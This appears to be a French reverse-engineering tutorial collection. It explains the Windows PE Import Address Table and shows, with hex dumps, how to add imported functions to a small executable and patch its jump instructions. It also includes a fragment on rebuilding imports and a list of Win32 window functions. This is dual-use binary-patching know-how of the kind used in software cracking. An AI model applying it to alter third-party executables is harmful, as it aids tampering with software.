Maintenant supposons que nous ayons réussit à recréer un IAT valide avec en plus nos rajouts, et ça, ça n'a rien d'impossible en fait, j'ai même automatisé cette étape grâce un un petit programme. Il faut maintenant intervenir dans la section .code elle-même car beaucoup d'appels ne sont plus correctement adressés.
C'est facile de rediriger les deux premiers types de liens, il suffit de placer le nouveau "First Thunk" au niveau du "jmp" des fonctions importées.

Par contre pour les deux derniers types de liens, ça devient chaud. Le point crussial c'est qu'ils sont indirect, il faud lire le contenu de leurs adresses. Ca signifie qu'il faut que le programme soit lancé. Par contre je me suis aperçu que toutes ces adresses contiennent déjà les bonnes valeurs même si on est toujours sur L'EP.
On peut donc imaginer que le programme qui devra résoudre les liens se serve des Debug API (en particulier CreateProcess) pour pouvoir le charger en mémoire mais sans l'exécuté, on resterait sans bouger sur l'EP. Le point fort, c'est qu'en faisant ça on charge le programme en mémoire ainsi que les éléments externes qu'il utilise lui-même. On pourrait alors rechercher les FF15.... Call dword ptr [xxxxxxxx] et cette fois-ci lire le contenu du xxxxxxxx. Il est donc possible de retrouver les fonctions, et ainsi remplacer ce type de Call par des Call direct. Mais bon, c'est bien chaud.... ça demande de vraiment s'inverstir et d'avoir du temps devant soit.

J'avais fait un programme qui réussissait à résoudre ces 4 types de liens. Mais y en a d'autres plus subtiles encore, et donc au final c'était l'échèc. Donc pour ma part, et ça ne concerne que moi, il me sembme que retoucher l'IAT n'est pas une bonne méthode, d'autant plus que certains chemins détournés peuvent se révélés plus habiles.

Par Morgatte


IMPORT ADDRESS TABLE (IAT)

Modification Manuelle de l'IAT

Rien ne vaut un peu de pratique pour mieux comprendre. Le programme cible ne contient que deux fonctions MessageBoxA de USER32.dll et ExitProcess de KERNEL32.dll. C'est juste un petit programme Hello Word. On va lui ajouter les éléments suivants:

Oups, avant tout je précise que les fonctions que je vais lui rajouter je ne les utiliserai pas, c'est pas mon but pour l'instant. L'objectif c'est seulement de réussir à reconstruire un IAT valide possédant de nouvelles fonctions. Comment savoir alors si on a réussit où non ? C'est simple si après votre modification le programme redémarre correctement, c'est bon. Dans le cas contraire vous n'allez pas tarder à comprendre que quelque chose va de travers.

- GetModuleHandleA (de KERNEL32.dll)
- FT_Exit8 (de KERNEL32.dll) ------------> Ordinal
- ShellExecuteA (de SHELL32.dll)

Pour ce qui est de "FT_Exit8", on pourrait l'importé normalement, mais on va plutôt l'importer à partir de son n°Ordinal. Comme ça on aura 3 cas différents, c'est mieux pour tout comprendre. A oui au fait son n°Ordinal c'est 10Ah (Voir SoftIce : -exp)

Un conseil avisé, avant de vous lancer dans l'ajout de fonctions prenez toujours le temps de rechercher les noms EXACTES des DLL et des fonctions. Parce que par exemple mettre le nom "messageboxa" au lieu de "MessageBoxA", vous obligera à simplement corriger cette petite erreur, mais par contre mettez un "MessageBox" au lieu d'un "MessageBoxA" et là vous êtes bon pour décaler tout dans l'IAT et donc tout réadresser, tout refaire en fait. Et si vous regardez les Ref Win32 aucune fonction n'est présentée avec les extensions AINSI(A) ou UNICODE(W). Donc un coup de W32Dasm sur un prog ou SoftIce sont plutôt bien venus avant de passer à l'attaque.

I - ON OBSERVE :

On décortique le programme cible d'abord avec l'excellant ProcDump:

Import Table : 2010
Import Address Table : 2000 (IAT)

 | Virtual Size | Virtual Offset | Raw Size | Raw Offset | Characteristics
.text | 00000028 | 00001000 | 00000200 | 00000400 | 60000020
.rdata | 00000092 | 00002000 | 00000200 | 00000600 | 40000040
.data | 00000024 | 00003000 | 00000200 | 00000800 | C0000040

1 - D'abord on nous dit que la section qui représente l'IAT commence en 2000h c'est donc .rdata
2 - Le point d'entrée dans cette section est en 2010h. Le point d'entrée de l'IAT c'est toujours la structure IMAGE_IMPORT_DESCRIPTOR. Ce qui signifie que le premier DWORD où débute IMAGE_IMPORT_DESCRIPTOR est en 2010h

Maintenant il faut bien se souvenir d'une chose, c'est que W32Dasm ou HexWorkShop ne se servent pas de RVA (Virtual Offset), ils utilisent un adressage directe (Raw Offset) Par contre toutes les adresses contenues dans l'IAT sont des RVA. Ce qui complique notre affaire.

Ca signifie qu'en utilisant HexWorkShop, l'IAT commence en 00000600 (et fini en 00000800) l'IMAGE_IMPORT_DESCRIPTOR sera donc en 00000610h (Il suffit de garder le même déplacement, et d'effectuer un changement de base entre ces deux représentations)

Vue par HexWorkShop:

00000600 | 7620 | 0000 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | v ......\ ......
00000610
5420 0000
0000 0000 0000 0000 6A20 0000 T ..........j ..
00000620 | 0820 | 0000 | 4C20 | 0000 | 0000 | 0000 | 0000 | 0000 | . ..L ..........
00000630 8420 0000 0020 0000 0000 0000 0000 0000 . ... ..........
00000640 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 7620 | 0000 | ............v ..
00000650 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | BB01 | 4D65 | ....\ ........Me
00000660 | 7373 | 6167 | 6542 | 6F78 | 4100 | 5553 | 4552 | 3332 | ssageBoxA.USER32
00000670 | 2E64 | 6C6C | 0000 | 7500 | 4578 | 6974 | 5072 | 6F63 | .dll..u.ExitProc
00000680 | 6573 | 7300 | 4B45 | 524E | 454C | 3332 | 2E64 | 6C6C | ess.KERNEL32.dll
00000690 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000700 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000710 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007......
000007F0 0000 0000 0000 0000 0000 0000 0000 0000 ................

Un peu vide vous trouvez pas.... Enfin c'est une autre histoire quand un programme possède plus de 150 fonctions au lieu de 2 comme ici.

En 610h on retrouve le point d'entrée dans l'IAT qui est le premier dword de la structure IMAGE_IMPORT_DESCRIPTOR. La taille de cette structure étant de 5 dword, je vous les ai surlignés. Le reste de ce qui est souligné sont aussi des structures IMAGE_IMPORT_DESCRIPTOR.

L'IAT possède toujours autant d'IMAGE_IMPORT_DESCRIPTOR qu'il y a de DLL importées par votre programme + 1 IMAGE_IMPORT_DESCRIPTOR remplit de NULL pour notifier le programme de la fin de ce groupe de structures.
Pourquoi y en a autant ? C'est parce que cette structure est justement celle qui sert à conserver toutes les info à propos d'une DLL donnée. Souvenez-vous de sa définition :

IMAGE_IMPORT_DESCRIPTOR <>
- OriginalFirstThunk dd ? <------------------------------ C'est un RVA qui pointe sur la structure ORIGINAL FIRST THUNK
- TimeDateStamp dd ? <---------------------------------- Généralement mis à 0 comme ici
- ForwarderChain dd ? <----------------------------------- Réservé (mis à 0FFFFFFFFh si on suit la norme. Mais c'est pas le cas ici)
- Name1 dd ? <----------------------------------------------- RVA pointant sur le nom de la DLL
- FirstThunk dd ? <------------------------------------------ C'est un RVA qui pointe sur la structure FIRST THUNK
IMAGE_IMPORT_DESCRIPTOR ENDS

Prenez la première structure IMAGE_IMPORT_DESCRIPTOR, regardez son 4e DWORD (Name1 donc) ce DWORD vaut 6A20 0000.
Je le remet dans le format Intel ce qui donne 0000 206A. Maintenant souvenez vous que toutes ces adresses sont des RVA donc elle utilisent comme base VirtualOffset (2000) alors que HexWorkShop réalise un adressage à partir du Raw Offset (600) donc 0000 206A représente 0000 066A dans notre changement de base. Et que trouve t'on en 66Ah,...... la chaine de caractères USER32.dll (ouhhhoouh.... gagné!!!)

Le premier IMAGE_IMPORT_DESCRIPTOR concerne donc USER32 et ses Fonctions. Le second concerne KERNEL32 et ses Fonctions vous l'aviez deviné.
Maintenant comment retrouver ses fonctions justement. Normalement c'est le membre OriginalFirstThunk qui est utilisé mais parfois il peut être NULL (ce qui normalement ne doit pas arriver) dans ce cas on prend FirstThunk.

Ces deux membres pointent sur deux structures distinctent mais qui contiennent exactement les même info.

ORIGINAL_FIRST_THUNK et FIRST_THUNK (A oui les structures je les mets toujours en majuscules alors que les membres je les laisse toujours en minuscule, sinon on va pas s'en sortir) Mes deux structures ORINAL_FIRST_THUNK et FIRST_THUNK sont normalement appelées toutes les deux IMAGE_THUNK_DATA mais je n'utiliserai plus ce terme, car si il décrit bien le type de structure à laquelle on a à faire, il est malheureusement peu explicite quant à savoir si on parle des FirstThunk ou bien des OriginalFirstThunk. Donc pour ma part, je les appelle toujours ainsi pour faire la différence, mais en sachant très bien que ce ne sont pas leurs vrais noms.

ORIGINAL_FIRST_THUNK<>
- RVA ImageImportByName1 <-------------------------------------- RVA qui nous amène à une structure IMAGE_IMPORT_BY_NAME
- ..............
- RVA ImageImportByName n
ORIGINAL_FIRST_THUNK ENDS

FIRST_THUNK est exactement identique.
Pour une DLL donnée, il y aura autant de RVA que cette DLL possède de fonctions + 1 RVA NULL pour terminer la structure.

00000600 | 7620 | 0000 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | v ......\ ......
00000610
5420 0000
0000 0000 0000 0000 6A20 0000 T ..........j ..
00000620 | 0820 | 0000 | 4C20 | 0000 | 0000 | 0000 | 0000 | 0000 | . ..L ..........
00000630 8420 0000 0020 0000 0000 0000 0000 0000 . ... ..........
00000640 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 7620 | 0000 | ............v ..
00000650 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | BB01 | 4D65 | ....\ ........Me
00000660 | 7373 | 6167 | 6542 | 6F78 | 4100 | 5553 | 4552 | 3332 | ssageBoxA.USER32
00000670 | 2E64 | 6C6C | 0000 | 7500 | 4578 | 6974 | 5072 | 6F63 | .dll..u.ExitProc
00000680 | 6573 | 7300 | 4B45 | 524E | 454C | 3332 | 2E64 | 6C6C | ess.KERNEL32.dll
00000690 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000700 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000710 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007......
000007F0 0000 0000 0000 0000 0000 0000 0000 0000 ................

Reprenons le premier IMAGE_IMPORT_DESCRIPTOR (Taille 5 DWORDs) son premier DWORD est donc un RVA qui pointe sur une structure ORIGINAL_FIRST_THUNK. 5420 0000 -->0000 2054 --> 0000 000654

En 654h on trouve le DWORD 5C20 0000 suivit d'un DWORD 0000 0000 NULL. Cà signifie qu'en 654h on rencontre le début de la structure ORIGINAL_FIRST_THUNK mais qu'elle ne possède qu'un seul membre donc qu'une seule fonction.

Maintenant le contenu de 654 (le contenu de OFT) est lui-même un RVA qui pointe sur une structure IMAGE_IMPORT_BY_NAME :

IMAGE_IMPORT_BY_NAME STRUCT
Hint dw ? ; <--------------------------------------------------n°ORDINAL (Word donc taille 2)
Name1 db ? ; <----------------------------------------------Nom de la fonction
IMAGE_IMPORT_BY_NAME ENDS

Le contenu de 654 est 5C20 0000 --> 0000205C --> 0000 065C
Et que trouve-t-on en 65Ch, d'abord le N°ordinal de la fonction sur un WORD, immédiatement suivit de la fonction correspondante.

00000600 | 7620 | 0000 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | v ......\ ......
00000610
5420 0000
0000 0000 0000 0000 6A20 0000 T ..........j ..
00000620 | 0820 | 0000 | 4C20 | 0000 | 0000 | 0000 | 0000 | 0000 | . ..L ..........
00000630 8420 0000 0020 0000 0000 0000 0000 0000 . ... ..........
00000640 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 7620 | 0000 | ............v ..
00000650 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | BB01 | 4D65 | ....\ ........Me
00000660 | 7373 | 6167 | 6542 | 6F78 | 4100 | 5553 | 4552 | 3332 | ssageBoxA.USER32
00000670 | 2E64 | 6C6C | 0000 | 7500 | 4578 | 6974 | 5072 | 6F63 | .dll..u.ExitProc
00000680 | 6573 | 7300 | 4B45 | 524E | 454C | 3332 | 2E64 | 6C6C | ess.KERNEL32.dll
00000690 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000700 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000710 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007......
000007F0 0000 0000 0000 0000 0000 0000 0000 0000 ................

Maintenant un détail, certaines fonctions sont importées uniquement By Ordninal (ici elles sont toutes importées By Name) Dans ce cas, elles n'ont donc aucune structure IMAGE_IMPORT_BY_NAME et le N°Ordinal est donc placé en lieu et place du RVA de ORIGINAL_FIRST_THUNK (et de FIRST_THUNK puisqu'ils sont jumeaux)

00000600 | 7620 | 0000 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | v ......\ ......<------ FIRST_THUNK
00000610
5420 0000
0000 0000 0000 0000 6A20 0000 T ..........j ..<------ IMAGE_IMPORT_DECRIPTOR
00000620 | 0820 | 0000 | 4C20 | 0000 | 0000 | 0000 | 0000 | 0000 | . ..L ..........
00000630 8420 0000 0020 0000 0000 0000 0000 0000 . ... ..........
00000640 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 7620 | 0000 | ............v ..<------ ORIGINAL_FIRST_THUNK
00000650 | 0000 | 0000 | 5C20 | 0000 | 0000 | 0000 | BB01 | 4D65 | ....\ ........Me
00000660 | 7373 | 6167 | 6542 | 6F78 | 4100 | 5553 | 4552 | 3332 | ssageBoxA.USER32 <------- IMAGE_IMPORT_BY_NAME
00000670 | 2E64 | 6C6C | 0000 | 7500 | 4578 | 6974 | 5072 | 6F63 | .dll..u.ExitProc
00000680 | 6573 | 7300 | 4B45 | 524E | 454C | 3332 | 2E64 | 6C6C | ess.KERNEL32.dll
00000690 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000700 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000710 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007......
000007F0 0000 0000 0000 0000 0000 0000 0000 0000 ................

Quelques détailles:

Vous voyez qu'ici le point d'entrée dans l'IAT n'est pas en début de section, et bien ce n'est pas incompatible du tout, toutes ces structures peuvent êtres mises dans l'ordre que vous souhaitez. Rien ne vous empèche de mettre IMAGE_IMPORT_DESCRIPTOR dès le début, et d'ailleurs je préfère grandement. Il faudra juste aligner la valeur de Import Table sur celle de Import Address Table (Vue dans ProcDump) Du moment que tous les RVA contenus dans cette section soient correctement réadressés, l'IAT restera valide.
Autre chose, si vous regardez bien, la chaine de caractère USER32.dll et terminée non pas par un byte NULL mais pas deux, idem pour KERNEL32.dll, et bien un seul aurait suffit, c'est juste que le linker de Masm (ben oui j'ai créée la cible Hello.exe avec Masm) suit ses propres règles de construction, mais en mettre un seul ne provoquera pas d'erreur. De même, Masm construit toujours l'IAT en commençant par FIRST_THUNK, IMAGE_IMPORT_DESCRIPTOR, ORIGINAL_FIRST_THUNK, IMAGE_IMPORT_BY_NAME, mais d'autres linkers le construisent autrement. D'ailleurs ce serait un moyen de déterminer avec quel langage un programme a été écrit.

II - ON AGIT :

On va donc réécrire l'IAT avec nos nouvelles fonctions. Perso, je préfère mettre les IMAGE_IMPORT_DESCRIPTOR en début de section.

IMAGE_IMPORT_DESCRIPTOR:
On utilise combien de DLL ? .... 3 (USER32.dll, KERNEL32.dll, et SHELL32.dll)
Ce qui fait 3 IMAGE_IMPORT_DESCRIPTOR + 1 VIDE.
(3+1) * 5 DWORD = 20 DWORD = 80 BYTE

IMAGE_THUNK_DATA (ORIGINAL_FIRST_THUNK + FIRST_THUNK):
KERNEL32.dll (ExitProcess, GetModuleHandleA, FT_Exit8) 3 DWORD + 1 NULL
USER32.dll (MessageBoxA) 1 DWORD + 1 NULL
SHELL32.dll(ShellExecute) 1 DWORD + 1 NULL
soit 8 DWORD (seulement pour ORIGINAL_FIRST_THUNK mais autant pour FIRST_THUNK)
16 DWORD = 84 BYTES

IMAGE_IMPORT_BY_NAME
On compte le nb de caractères +1 pour chaque DLL = 36 BYTES si je ne me suis pas trompé.
On compte le nb de caractères +1 pour chaque fonction (sauf FT_Exit8 car on a dit qu'on l'importait by ordinal et non pas by name) = 55 BYTES
On compte les n°Ordinaux associés à ces noms de fonction (donc toujours pas FT_Exit8) 5 fonctions * 1 WORD = 10 BYTES
101 BYTE

IMAGE_IMPORT_DESCRIPTOR va être au début de la section, donc en 600h
ORIGINAL_FIRST_THUNK le suit donc il sera en 600h+(80d BYTES) = 650h
FIRST_THUNK le suit donc il sera en 650h + (8d*4 BYTES) = 670h
IMAGES_IMPORT_BY_NAME suit en 670h + (8d*4 BYTES) = 690h

Peu importe quelle DLL on écrit en premier, peu importe l'ordre dans lequel on écrit ses fonctions aussi, et même, on pourrait bien tout mêlanger.... fonctions et DLL en bordel, tout fonctionnerait encore du moment que Name1 soit correctement adressé sur le bon nom de DLL, et que OriginalFirstThunk et FirstThunk soient aussi correctement adressés pour chaque fonction. Une seule chose, chaque fonction doit garder son propre n°Ordinal 1WORD devant elle.
Le membre ForwarderChain qui normalement doit être mis à 0FFFFFFFFh est à 0 ici, donc je vais lui remettre sa valeur normale. C'est en plus un exellent point de repère dans la structure IMAGE_IMPORT_DESCRIPTOR.

Je n'ai pas recherché les N°Ordinaux des fonctions ShellExecuteA et GetModuleHandleA donc je vais les laisser à 0000, ça ne pose pas de problème puisque je les importe By Name, mais bon pour être rigoureux il faudrait les placer quand même. Donc n'oubliez pas de laisser un WORD NULL devant elles pour que le format reste viable (sinon vous obtiendrez une structure IMAGE_IMPORT_BY_NAME incorrecte). Tout cette table est réécrite en commençant par replacer les chaînes de caractères représentant les noms des DLLs et de leurs fonctions. Ensuite seulement il est possible de savoir quoi mettre dans le reste de la table.

00000600 |  |  | 0000 | 0000 | FFFF | FFFF |  |  |
00000610 |  |  |  |  | 0000 | 0000 | FFFF | FFFF |
00000620 |  |  |  |  |  |  | 0000 | 0000 |
00000630 | FFFF | FFFF |  |  |  |  | 0000 | 0000 |
00000640 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 |
00000650 | Fonct | ion n°1A | Fonct | ion n°2A | Fonct | ion n°3A | 0000 | 0000 |
00000660 | Fonct | ion n°1B | 0000 | 0000 | Fonct | ion n°1C | 0000 | 0000 |
00000670 |  |  |  |  |  |  | 0000 | 0000 |
00000680 |  |  | 0000 | 0000 |  |  | 0000 | 0000 |
00000690 | 7500 | 4578 | 6974 | 5072 | 6F63 | 6573 | 7300 | 0000 | u.ExitProcess...
000006A0 | 4765 | 744D | 6F64 | 756C | 6548 | 616E | 646C | 6541 | GetModuleHandleA
000006B0 | 004B | 4552 | 4E45 | 4C33 | 322E | 646C | 6C00 | BB01 | .KERNEL32.dll...
000006C0 | 4D65 | 7373 | 6167 | 6542 | 6F78 | 4100 | 5553 | 4552 | MessageBoxA.USER
000006D0 | 3332 | 2E64 | 6C6C | 0000 | 0053 | 6865 | 6C6C | 4578 | 32.dll...ShellEx
000006E0 | 6563 | 7574 | 6541 | 0053 | 4845 | 4C4C | 3332 | 2E64 | ecuteA.SHELL32.d
000006F0 | 6C6C | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ll..............
00000700 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00000710 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000007...... |  |  |  |  |  |  |  |  |
000007F0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................

On va se débrouiller à partir de ça.

On peut déjà remettre les RVAs de la structure IMAGE_IMPORT_DESCRIPTOR qui pointent sur le nom de chaque DLL. Ca c'est directe.
On peut aussi remplir les RVA des structures ORIGINAL_FIRST_THUNK et FIRST_THUNK qui pointent sur les noms des fonctions (enfin 1 WORD avant à cause du N°Ordinal) C'est ce que je viens de faire au-dessus.

C'est parti...

00000600 |  |  | 0000 | 0000 | FFFF | FFFF | B120 | 0000 |
00000610 |  |  |  |  | 0000 | 0000 | FFFF | FFFF |
00000620 | CC20 | 0000 |  |  |  |  | 0000 | 0000 |
00000630 | FFFF | FFFF | E720 | 0000 |  |  | 0000 | 0000 |
00000640 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 |
00000650 | 9020 | 0000 | 9E20 | 0000 | 0A01 | 0080 | 0000 | 0000 |
00000660 | BE20 | 0000 | 0000 | 0000 | D720 | 0000 | 0000 | 0000 |
00000670 | 9020 | 0000 | 9E20 | 0000 | 0A01 | 0080 | 0000 | 0000 |
00000680 | BE20 | 0000 | 0000 | 0000 | D720 | 0000 | 0000 | 0000 |
00000690 | 7500 | 4578 | 6974 | 5072 | 6F63 | 6573 | 7300 | 0000 | u.ExitProcess...
000006A0 | 4765 | 744D | 6F64 | 756C | 6548 | 616E | 646C | 6541 | GetModuleHandleA
000006B0 | 004B | 4552 | 4E45 | 4C33 | 322E | 646C | 6C00 | BB01 | .KERNEL32.dll...
000006C0 | 4D65 | 7373 | 6167 | 6542 | 6F78 | 4100 | 5553 | 4552 | MessageBoxA.USER
000006D0 | 3332 | 2E64 | 6C6C | 0000 | 0053 | 6865 | 6C6C | 4578 | 32.dll...ShellEx
000006E0 | 6563 | 7574 | 6541 | 0053 | 4845 | 4C4C | 3332 | 2E64 | ecuteA.SHELL32.d
000006F0 | 6C6C | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ll..............
00000700 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00000710 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000007...... |  |  |  |  |  |  |  |  |
000007F0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................

Comment ça : "d'où il vient le dword 0A01 0080 ???? "
Vous vous souvenez que FT_Exit8 on l'importe By Ordinal et que son n° est 10Ah soit 0000 010Ah mais justement parce que c'est une fonction importée By Ordinal on le notifie en mettant son MSB à 1 (son byte de poids fort à 1) [1000.......... binaire soit 8........ hexadécimal]
soit 8000 010Ah et vu au format Intel ça donne bien 0A01 0080 et ce n°Ordinal remplace le RVA qui pointe normalement sur son nom.

Maintenant, on peut finir de remplir IMAGE_IMPORT_DESCRIPTOR (OriginalFirstThunk et FirstThunk)

00000600 | 5020 | 0000 | 0000 | 0000 | FFFF | FFFF | B120 | 0000 |
00000610 | 7020 | 0000 | 6020 | 0000 | 0000 | 0000 | FFFF | FFFF |
00000620 | CC20 | 0000 | 8020 | 0000 | 6820 | 0000 | 0000 | 0000 |
00000630 | FFFF | FFFF | E720 | 0000 | 8820 | 0000 | 0000 | 0000 |
00000640 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 |
00000650 | 9020 | 0000 | 9E20 | 0000 | 0A01 | 0080 | 0000 | 0000 |
00000660 | BE20 | 0000 | 0000 | 0000 | D720 | 0000 | 0000 | 0000 |
00000670 | 9020 | 0000 | 9E20 | 0000 | 0A01 | 0080 | 0000 | 0000 |
00000680 | BE20 | 0000 | 0000 | 0000 | D720 | 0000 | 0000 | 0000 |
00000690 | 7500 | 4578 | 6974 | 5072 | 6F63 | 6573 | 7300 | 0000 | u.ExitProcess...
000006A0 | 4765 | 744D | 6F64 | 756C | 6548 | 616E | 646C | 6541 | GetModuleHandleA
000006B0 | 004B | 4552 | 4E45 | 4C33 | 322E | 646C | 6C00 | BB01 | .KERNEL32.dll...
000006C0 | 4D65 | 7373 | 6167 | 6542 | 6F78 | 4100 | 5553 | 4552 | MessageBoxA.USER
000006D0 | 3332 | 2E64 | 6C6C | 0000 | 0053 | 6865 | 6C6C | 4578 | 32.dll...ShellEx
000006E0 | 6563 | 7574 | 6541 | 0053 | 4845 | 4C4C | 3332 | 2E64 | ecuteA.SHELL32.d
000006F0 | 6C6C | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ll..............
00000700 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00000710 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000007...... |  |  |  |  |  |  |  |  |
000007F0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................

Bon, on a un IAT propre, mais pas fonctionnel. On n'a pas redirigé le membre Import Table, Ben oui on a déplacé IMAGE_IMPORT_DESCRIPTOR en début de section donc on reprend ProcDump et on donne la même valeur à Import Table que celle de Import Address Table (2000h)

Voilà, l'IAT est fonctionnel, et pour en être sûr il ne reste plus qu'à utiliser W32Dasm si il trouve des modules importés et toutes les fonctions, c'est gagné

+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++
Number of Imported Modules = 3 (decimal)

Import Module 001: KERNEL32.dll
Import Module 002: USER32.dll
Import Module 003: SHELL32.dll

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

Import Module 001: KERNEL32.dll

Addr:00002090 hint(0075) Name: ExitProcess
Addr:0000209E hint(0000) Name: GetModuleHandle <------------- on lui avait pas donné de valeur pour son ordinal
Addr:8000010A hint(010A) Name: FT_Exit8 <--------------------- grâce à son ordinal on a bien retrouvé son nom (8000 ....)

Import Module 002: USER32.dll

Addr:000020BD hint(01BB) Name: MessageBoxA

Import Module 003: SHELL32.dll

Addr:000020D6 hint(0000) Name: ShellExecute <--------------- lui non plus, et pourtant ça marche vous voyez.

AAAAAAHHH !!!!!!!!! LE PROGRAMME NE FONCTIONNE PLUS !!!!!!!!!!!

C'est normal, on a tout chamboulé dans l'IAT, et la section code (.text) va chercher directemment des info dedans. Ca signifie qu'on à détruit les relations qui existent entre le code et l'IAT. Reprenez le programme d'origine tout en bas on trouve deux

FF25......... jump dword ptr [.......]

Ce qui se trouve entre parenthèse c'est le RVA contenu dans le membre FirstThunk de IMAGE_IMPORT_DESCRIPTOR (+ l'ImageBase)
Autrement dit, c'est le RVA qui pointe sur la structure IMAGE_IMPORT_BY_NAME des ces fonctions en question.

initialement on avait:

* Reference To: USER32.MessageBoxA, Ord:01BBh
|
:0040101C FF2508204000 Jmp dword ptr [00402008] donc 2008 soit 0820

* Reference To: KERNEL32.ExitProcess, Ord:0075h
|
:00401022 FF2500204000 Jmp dword ptr [00402000] donc 2000h soit 0020

Reprenons notre tableau, ils sont maintenant à :

7020 pour ExitProcess soit 2070--->00402070
7420 pour GetModuleHandleA soit 2074 --->00402074
7820 pour FT_Exit8 soit 2078 ---> 00402078

8020 pour MessageBoxA soit 2080 ---> 00402080

8820 pour ShellExcuteA soit 2088 ---> 00402088

Il faut donc effectuer une petite réparation.

On recherche avec HexWorkShop

Recherche de: | Remplacement par
FF2508204000 (MessageBoxA) | FF2580204000
FF2500204000 (ExitProcess) | FF2570204000

Oufff ça Marche!!!

Le programme refonctionne, et on a trois nouvelles fonctions à disposition dans l'IAT. Il y a deux façons d'appeler les nouvelles fonctions. Soit vous créez des
[AdresseX] FF25......jmp dword ptr [........] en fin de code et un simple Call AdresseX appelera votre fonction

Soit vous pouvez l'appeler directement en l'appelant ainsi : Call dword ptr [.........]
Le contenu du jmp ou du call étant l'ImageBase + FirstThunk bien entendu. (Mais surtout pas OriginalFirstThunk)

Par Morgatte


 FENÊTRES

AdjustWindowRect	Dimensionne une fenêtre par rapport à la taille du secteur client
              souhaité.
AdjustWindowRectEx	Dimensionne une fenêtre par rapport à la taille du secteur client
              souhaité.
AnyPopup		Indique si une fenêtre popup existe.
ArrangeIconicWindows	Organise les fenêtres minimisées au bas de leur fenêtre parante.
BeginDeferWindowPos	Crée une stucture 'position de fenêtres multiples'.
BringWindowToTop	Place une fenêtre enfant au-dessus des autres (au premier plan).
ChildWindowFromPoint	Retrouve la fenêtre sous le point spécifié.
CloseWindow		Minimise une fenêtre.
CreateWindow		Crée une fenêtre.
CreateWindowEx		Crée une fenêtre.
DeferWindowPos		Rafraîchit la structure 'position de fenêtres multiples'.
DestroyWindow		Détruit définitivement une fenêtre (ou objet).
EndDeferWindowPos	Rafraîchit la position et la taille de plusieurs fenêtres.
EnumChildProc		Retrouve les Handles des fenêtres (ou objets) enfants.
EnumChildWindows	Passe les Handles des fenêtres enfants à la fonction CallBack.
EnumThreadWindows	Retourne le lien d'une fenêtre.
EnumThreadWndProc	Retrouve les Handles des fenêtres d'après leur lien.
EnumWindows		Retrouve les Handles de toutes les fenêtres parentes présentes à
              l'écran.
EnumWindowsProc		Récupèreles Handles des fenêtres parentes durant l'énumération.
FindWindow		Retrouve le Handle d'une fenêtre d'après sa 'Class' ou son 'Nom'(son
              titre).
GetClientRect		Retrouve les coordonnées du secteur client d'une fenêtre.
